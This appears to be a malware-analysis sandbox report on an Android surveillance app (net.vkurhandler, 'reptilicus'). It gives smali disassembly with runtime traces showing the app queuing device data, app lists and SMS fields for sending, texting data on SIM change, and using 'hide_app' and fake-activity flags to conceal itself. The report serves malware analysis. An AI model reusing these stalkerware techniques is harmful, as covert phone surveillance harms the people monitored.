                    193invoke-direct/range {p0 .. p1}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Intent;)Ljava/lang/String;
                    194move-result-object v4
                    195const/4 v5, 0x0
                    197invoke-virtual {v6, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                    • Time: 1277685
                      • This:
                        • SQLiteDatabase: /data/user/0/net.vkurhandler/databases/systemcontroller
                      • sql: select * from history order by id asc
                      • selectionArgs: null
                      • Return:
                        • android.database.sqlite.SQLiteCursor@c23467b
                    • Time: 1410996
                      • This:
                        • SQLiteDatabase: /data/user/0/net.vkurhandler/databases/systemcontroller
                      • sql: select * from history order by id asc
                      • selectionArgs: null
                      • Return:
                        • android.database.sqlite.SQLiteCursor@f30d38d
                    198move-result-object v10
                    200invoke-interface {v10}, Landroid/database/Cursor;->getCount()I
                    201move-result v4
                    202if-lez v4, :cond_16d
                    204const-string v4, "id"
                    206invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    207move-result v11
                    209const-string v4, "data"
                    211invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    212move-result v12
                    214const-string v4, "data_type"
                    216invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    217move-result v13
                    219const-string v4, "location"
                    221invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    222move-result v14
                    224const-string v4, "temp_location_item_id"
                    226invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    227move-result v15
                    229const-string v4, "extra"
                    231invoke-interface {v10, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    232move-result v16
                    233new-instance v17, Ljava/util/ArrayList;
                    235invoke-direct/range {v17 .. v17}, Ljava/util/ArrayList;-><init>()V
                    236if-eqz p1, :cond_19b
                    238const-string v4, "dispatch_delete_by_id"
                    239const/4 v5, 0x0
                    240move-object/from16 v0, p1
                    242invoke-virtual {v0, v4, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    243move-result v4
                    244if-eqz v4, :cond_19b
                    245const/4 v4, 0x1
                    246move v9, v4
                    247goto_14c:
                    248invoke-virtual/range {p0 .. p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277697
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    249move-result-object v18
                    251invoke-static/range {v18 .. v18}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    252move-result-object v4
                    254invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    255move-result-object v19
                    257invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    258move-result-object v4
                    260invoke-virtual {v4}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    261move-result-object v20
                    262goto_160:
                    263invoke-interface {v10}, Landroid/database/Cursor;->moveToNext()Z
                    264move-result v4
                    265if-nez v4, :cond_19e
                    266goto_166: move-object/from16 v0, p0
                    267move-object/from16 v1, v17
                    269invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/util/List;)V
                    270cond_16d: if-eqz v6, :cond_4c
                    272invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    273move-result-object v4
                    275invoke-virtual {v4}, Lnet/vkurhandler/ao;->c()V
                    276goto/16 :goto_4c
                    277cond_178:
                    278const-string v4, "DispatchService"
                    280const-string v6, "invalid nll response"
                    282invoke-static {v4, v6}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    283try_end_17f: goto/16 :goto_fd
                    284catch_181: move-exception v4
                    285move v6, v7
                    286try_start_183:
                    287const-string v7, "DispatchService"
                    289invoke-static {v7, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    290try_end_188: if-eqz v5, :cond_191
                    292invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    293move-result-object v4
                    295invoke-virtual {v4}, Lnet/vkurhandler/ao;->c()V
                    296cond_191: const/4 v4, -0x1
                    297if-le v6, v4, :cond_4c
                    298move-object/from16 v0, p0
                    300invoke-direct {v0, v6}, Lnet/vkurhandler/DispatchService;->b(I)V
                    301goto/16 :goto_4c
                    302cond_19b: const/4 v4, 0x0
                    303move v9, v4
                    304goto/16 :goto_14c
                    305cond_19e: const/4 v4, 0x1
                    306try_start_19f:
                    307invoke-interface {v10, v11}, Landroid/database/Cursor;->getInt(I)I
                    308move-result v21
                    310invoke-interface {v10, v13}, Landroid/database/Cursor;->getInt(I)I
                    311move-result v5
                    312new-instance v22, Lorg/json/JSONObject;
                    314invoke-interface {v10, v12}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    315move-result-object v8
                    316move-object/from16 v0, v22
                    318invoke-direct {v0, v8}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1277734
                      • p0: {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • Time: 1412145
                      • p0: {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    320const-string v8, "device_id"
                    321move-object/from16 v0, v22
                    322move-object/from16 v1, v20
                    324invoke-virtual {v0, v8, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    325if-eqz v9, :cond_204
                    326if-eqz p1, :cond_204
                    328const-string v8, "dispatch_id"
                    329const/16 v23, 0x0
                    330move-object/from16 v0, p1
                    331move/from16 v1, v23
                    333invoke-virtual {v0, v8, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    334move-result v8
                    335move/from16 v0, v21
                    336if-ne v0, v8, :cond_204
                    337const/4 v8, 0x2
                    338if-ne v5, v8, :cond_1e2
                    339new-instance v5, Ljava/io/File;
                    341const-string v8, "absolute_file_path"
                    342move-object/from16 v0, v22
                    344invoke-virtual {v0, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    345move-result-object v8
                    347invoke-direct {v5, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    349invoke-virtual {v5}, Ljava/io/File;->delete()Z
                    350cond_1e2: move-object/from16 v0, p0
                    351move/from16 v1, v21
                    353invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;I)V
                    354try_end_1e9: goto/16 :goto_166
                    355catch_1eb: move-exception v5
                    356move-object/from16 v28, v5
                    357move v5, v4
                    358move-object/from16 v4, v28
                    359try_start_1f1:
                    360const-string v8, "DispatchService->each"
                    362invoke-static {v8, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    363move v4, v5
                    364cond_1f7: if-eqz v4, :cond_160
                    365const-wide/16 v4, 0x3e8
                    367invoke-static {v4, v5}, Lnet/vkurhandler/gn;->a(J)V
                    368try_end_1fe: goto/16 :goto_160
                    369catch_200: move-exception v4
                    370move-object v5, v6
                    371move v6, v7
                    372goto/16 :goto_183
                    373cond_204:
                    374invoke-interface {v10, v15}, Landroid/database/Cursor;->isNull(I)Z
                    375move-result v8
                    376if-nez v8, :cond_21b
                    378invoke-interface {v10, v15}, Landroid/database/Cursor;->getLong(I)J
                    379move-result-wide v24
                    381invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    382move-result-wide v26
                    383sub-long v24, v26, v24
                    384const-wide/32 v26, 0x927c0
                    385cmp-long v8, v24, v26
                    386if-ltz v8, :cond_160
                    387cond_21b:
                    388invoke-static/range {v18 .. v18}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    389move-result v23
                    390packed-switch v5, :pswitch_data_398
                    391goto/16 :goto_1f7
                    392pswitch_223:
                    393const-string v5, "sub_type"
                    394move-object/from16 v0, v22
                    396invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    397move-result v24
                    399invoke-interface {v10, v14}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    400move-result-object v5
                    401move-object/from16 v0, p0
                    402move/from16 v1, v24
                    404invoke-direct {v0, v1}, Lnet/vkurhandler/DispatchService;->a(I)Z
                    405move-result v25
                    406move-object/from16 v0, p0
                    407move/from16 v1, v24
                    409invoke-direct {v0, v1}, Lnet/vkurhandler/DispatchService;->a(I)Z
                    410move-result v8
                    411if-eqz v8, :cond_2d7
                    412move-object/from16 v0, p0
                    414invoke-direct {v0, v5}, Lnet/vkurhandler/DispatchService;->a(Ljava/lang/String;)Lorg/json/JSONObject;
                    415move-result-object v5
                    416move-object v8, v5
                    417goto_248:
                    418const-string v5, "response_transport"
                    419move-object/from16 v0, v22
                    421invoke-virtual {v0, v5}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1412161
                      • This:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                      • p0: response_transport
                      • Return:
                        • false
                    422move-result v5
                    423if-eqz v5, :cond_2db
                    425const-string v5, "response_transport"
                    426move-object/from16 v0, v22
                    428invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    429move-result v5
                    430goto_25a: const/16 v26, 0x5
                    431move/from16 v0, v24
                    432move/from16 v1, v26
                    433if-ne v0, v1, :cond_2de
                    434const/16 v26, 0x2
                    435move/from16 v0, v26
                    436if-ne v5, v0, :cond_2de
                    438const-string v5, "response_number"
                    439move-object/from16 v0, v22
                    441invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    442move-result-object v5
                    444invoke-static {v8}, Lnet/vkurhandler/DispatchService;->b(Lorg/json/JSONObject;)Ljava/lang/String;
                    445move-result-object v8
                    447invoke-static {v5, v8}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    448move-object/from16 v0, p0
                    449move/from16 v1, v21
                    451invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;I)V
                    452try_end_27e: goto/16 :goto_160
                    453catchall_280: move-exception v4
                    454goto_281: if-eqz v6, :cond_28a
                    456invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    457move-result-object v5
                    459invoke-virtual {v5}, Lnet/vkurhandler/ao;->c()V
                    460cond_28a: const/4 v5, -0x1
                    461if-le v7, v5, :cond_292
                    462move-object/from16 v0, p0
                    464invoke-direct {v0, v7}, Lnet/vkurhandler/DispatchService;->b(I)V
                    465cond_292: throw v4
                    466pswitch_293: if-eqz v23, :cond_2a8
                    467try_start_295: move-object/from16 v0, p0
                    468move-object/from16 v1, v22
                    470invoke-direct {v0, v1}, Lnet/vkurhandler/DispatchService;->d(Lorg/json/JSONObject;)Z
                    471move-result v5
                    472if-eqz v5, :cond_2a8
                    473move-object/from16 v0, p0
                    474move/from16 v1, v21
                    476invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;I)V
                    477goto/16 :goto_1f7
                    478cond_2a8: if-nez v23, :cond_1f7
                    479const/4 v4, 0x0
                    480goto/16 :goto_1f7
                    481pswitch_2ad: if-eqz v23, :cond_2d2
                    482move-object/from16 v0, p0
                    483move-object/from16 v1, v22
                    485invoke-direct {v0, v1}, Lnet/vkurhandler/DispatchService;->c(Lorg/json/JSONObject;)Z
                    486move-result v5
                    487if-eqz v5, :cond_2d2
                    488new-instance v5, Ljava/io/File;
                    490const-string v8, "absolute_file_path"
                    491move-object/from16 v0, v22
                    493invoke-virtual {v0, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    494move-result-object v8
                    496invoke-direct {v5, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    498invoke-virtual {v5}, Ljava/io/File;->delete()Z
                    499move-object/from16 v0, p0
                    500move/from16 v1, v21
                    502invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;I)V
                    503goto/16 :goto_1f7
                    504cond_2d2: if-nez v23, :cond_1f7
                    505const/4 v4, 0x0
                    506goto/16 :goto_1f7
                    507cond_2d7: const/4 v5, 0x0
                    508move-object v8, v5
                    509goto/16 :goto_248
                    510cond_2db: const/4 v5, 0x1
                    511goto/16 :goto_25a
                    512cond_2de: const/4 v5, 0x0
                    513const/16 v26, 0x4
                    514move/from16 v0, v24
                    515move/from16 v1, v26
                    516if-ne v0, v1, :cond_356
                    518const-string v24, "sms_sent"
                    519move/from16 v0, v16
                    521invoke-interface {v10, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    522move-result-object v26
                    523move-object/from16 v0, v24
                    524move-object/from16 v1, v26
                    526invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    527move-result v24
                    528if-nez v24, :cond_356
                    530const-string v5, "change_sim_send_sms"
                    531const/16 v24, 0x0
                    532move-object/from16 v0, v19
                    533move/from16 v1, v24
                    535invoke-interface {v0, v5, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    536move-result v5
                    537if-eqz v5, :cond_381
                    539const-string v5, "send_on_change_sim"
                    540const/16 v24, 0x0
                    541move-object/from16 v0, v19
                    542move/from16 v1, v24
                    544invoke-interface {v0, v5, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    545move-result v5
                    546if-eqz v5, :cond_381
                    547const/4 v5, 0x1
                    548goto_316: if-eqz v5, :cond_356
                    550const-string v24, "sim_checker_1"
                    551const/16 v26, 0x0
                    552move-object/from16 v0, v19
                    553move-object/from16 v1, v24
                    554move-object/from16 v2, v26
                    556invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    557move-result-object v24
                    559const-string v26, "sim_checker_2"
                    560const/16 v27, 0x0
                    561move-object/from16 v0, v19
                    562move-object/from16 v1, v26
                    563move-object/from16 v2, v27
                    565invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    566move-result-object v26
                    568invoke-static/range {v24 .. v24}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    569move-result v27
                    570if-nez v27, :cond_345
                    572invoke-static {v8}, Lnet/vkurhandler/DispatchService;->a(Lorg/json/JSONObject;)Ljava/lang/String;
                    573move-result-object v27
                    574move-object/from16 v0, v24
                    575move-object/from16 v1, v27
                    577invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    578cond_345:
                    579invoke-static/range {v26 .. v26}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    580move-result v24
                    581if-nez v24, :cond_356
                    583invoke-static {v8}, Lnet/vkurhandler/DispatchService;->a(Lorg/json/JSONObject;)Ljava/lang/String;
                    584move-result-object v24
                    585move-object/from16 v0, v26
                    586move-object/from16 v1, v24
                    588invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    589cond_356: if-eqz v25, :cond_361
                    591const-string v24, "location"
                    592move-object/from16 v0, v22
                    593move-object/from16 v1, v24
                    595invoke-virtual {v0, v1, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    596cond_361: if-eqz v23, :cond_383
                    597move-object/from16 v0, p0
                    598move-object/from16 v1, v22
                    600invoke-direct {v0, v1}, Lnet/vkurhandler/DispatchService;->e(Lorg/json/JSONObject;)Z
                    601move-result v8
                    602if-eqz v8, :cond_383
                    603move-object/from16 v0, p0
                    604move/from16 v1, v21
                    606invoke-direct {v0, v6, v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/database/sqlite/SQLiteDatabase;I)V
                    607cond_374: if-eqz v5, :cond_1f7
                    609invoke-static/range {v21 .. v21}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    610move-result-object v5
                    611move-object/from16 v0, v17
                    613invoke-interface {v0, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                    614try_end_37f: goto/16 :goto_1f7
                    615cond_381: const/4 v5, 0x0
                    616goto/16 :goto_316
                    617cond_383: if-nez v23, :cond_374
                    618const/4 v4, 0x0
                    619goto/16 :goto_374
                    620catchall_387: move-exception v4
                    621move-object v6, v5
                    622goto/16 :goto_281
                    623catchall_38b: move-exception v4
                    624move v7, v6
                    625move-object v6, v5
                    626goto/16 :goto_281
                    627catchall_390: move-exception v4
                    628move v7, v6
                    629move-object v6, v5
                    630goto/16 :goto_281
                    631catch_395: move-exception v4
                    632goto/16 :goto_183
                    Cross References
                    APIs
                    • java.lang.Boolean.booleanValue
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • android.content.Context.getPackageName
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • java.io.FileReader.<init>
                    • java.io.BufferedReader.<init>
                    • java.io.BufferedReader.readLine
                    • java.io.BufferedReader.close
                    • java.lang.String.contains
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • java.lang.String.split
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.Context.getPackageName
                    • android.content.Context.getPackageName
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.content.ComponentName.<init>
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.setComponentEnabledSetting
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Boolean.parseBoolean
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Long.parseLong
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    Strings
                    • .system_android/.data/.system_temp
                    • reptilicus
                    • pref.cfg
                    • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                    • /storage/emulated/0/.system_android/.data/reptilicus/pref.cfg
                    • net.vkurhandler
                    • /storage/emulated/0/.system_android/.data/System Updater/pref.cfg
                    • ~
                    • hide_app
                    • 1
                    • .FakeActivity
                    • first_hide_app
                    • hide_add_dev
                    • last_saved_contact_id
                    • success_gcm_key
                    • first_start_app
                    • wait_for_sd_mounted
                    • wait_for_toogle_gps
                    • energy_saving
                    • remote_preference_wait_for_inet
                    • String
                    • Utils
                    • Integer
                    • Boolean
                    • Long
                    Position Instruction Meta Information
                    0const/4 v1, 0x1
                    1const/4 v0, 0x0
                    2try_start_2:
                    3const-string v2, ".system_android/.data/.system_temp"
                    5sget-object v3, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    7invoke-virtual {v3}, Ljava/lang/Boolean;->booleanValue()Z
                    8move-result v3
                    9if-eqz v3, :cond_225
                    11const-string v2, "reptilicus"
                    12move-object v3, v2
                    13goto_f: new-instance v2, Ljava/io/File;
                    14new-instance v4, Ljava/lang/StringBuilder;
                    16invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                    18invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    19move-result-object v5
                    21invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    22move-result-object v4
                    24sget-object v5, Ljava/io/File;->separator:Ljava/lang/String;
                    26invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    27move-result-object v4
                    29invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    30move-result-object v3
                    32sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    35move-result-object v3
                    37const-string v4, "pref.cfg"
                    39invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    40move-result-object v3
                    42invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    43move-result-object v3
                    45invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1273410
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                    47invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    • Time: 1273456
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • Return:
                        • false
                    48move-result v3
                    49if-nez v3, :cond_6f
                    50new-instance v2, Ljava/io/File;
                    51new-instance v3, Ljava/lang/StringBuilder;
                    53invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    55invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    56move-result-object v4
                    58invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    59move-result-object v3
                    61sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    63invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    64move-result-object v3
                    66const-string v4, ".system_android/.data/.system_temp"
                    68invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    69move-result-object v3
                    71sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    73invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    74move-result-object v3
                    76const-string v4, "pref.cfg"
                    78invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    79move-result-object v3
                    81invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    82move-result-object v3
                    84invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1273503
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                    85cond_6f:
                    86invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    • Time: 1273519
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/pref.cfg
                      • Return:
                        • false
                    87move-result v3
                    88if-nez v3, :cond_e9
                    89new-instance v2, Ljava/io/File;
                    90new-instance v3, Ljava/lang/StringBuilder;
                    92invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    94invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    95move-result-object v4
                    97invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    98move-result-object v3
                    100sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    102invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    103move-result-object v3
                    105sget-object v4, Lnet/vkurhandler/de;->b:Ljava/lang/String;
                    107invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    108move-result-object v3
                    110sget-object v4, Lnet/vkurhandler/de;->c:Ljava/lang/String;
                    112invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    113move-result-object v3
                    115sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    117invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    118move-result-object v3
                    120const-string v4, "pref.cfg"
                    122invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    123move-result-object v3
                    125invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    126move-result-object v3
